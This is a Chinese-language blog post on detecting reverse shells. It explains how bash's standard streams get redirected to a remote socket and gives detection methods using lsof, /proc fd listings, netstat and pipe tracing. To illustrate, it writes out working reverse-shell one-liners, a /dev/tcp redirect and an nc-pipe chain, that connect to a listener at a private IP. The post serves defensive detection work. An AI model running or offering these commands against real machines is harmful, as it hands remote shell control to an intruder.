关于反弹shell检测的简单思考
反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。定位到这个本质后,检测的思路也就有了。本文简单说一下几种检测方法。同样,由于进程通信的复杂性,bash进程的输入输出可能是一个pipe,本文也简单讨论一下这种情况的检测思路。
demo1 /bin/bash 经典反弹shell
一个经典的反弹shell的demo如下:
# client:
/bin/bash > /dev/tcp/192.168.43.146/11111 0>&1 2>&1 &
# server:
ncat -lvvp 11111
反弹成功后,/bin/bash的file descriptor(0 1 2)会被重定向。server上可以控制client的/bin/bash进程的0 1 2。
理想情况下,如果反弹shell的本质可以归纳为file descriptor的重定向,那么检测所有进程的file descriptor是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个server。
检测方法
在反弹shell后,ps -ef查看不到/bin/bash文件描述符的重定位(见下图高亮部分):
1. lsof
使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。
lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
# -n: 显示ip而不是域名
/fd
2. /proc/查看/proc/
ls -al /proc/2633/fd
3. netstat -anop
查看是否有bash/sh等进程建立了socket连接。
netstat -anop |grep ESTABLISHED
demo2 借助pipe 反弹shell
绝大多数的反弹shell都是借住重定向socket来和 bash进程进行输入输出交互。如果存在管道符号,那么bash进程交互的则是一个pipe。例子如下:
# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server
ncat -lvvp 8888
效果如下:
此时,bash进程的输入输出都来自其他进程的pipe,/proc/
检测思路
如何检测这种情况呢?
不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要递归查看pipe的输入,是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。(更严谨一点,需要定位到这歌socket和pipe的数据传递过程)
总结
反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。
而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。
由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。
timeline:
20190705夜
20190917夜: 更新pipe 反弹shelldemo和检测思路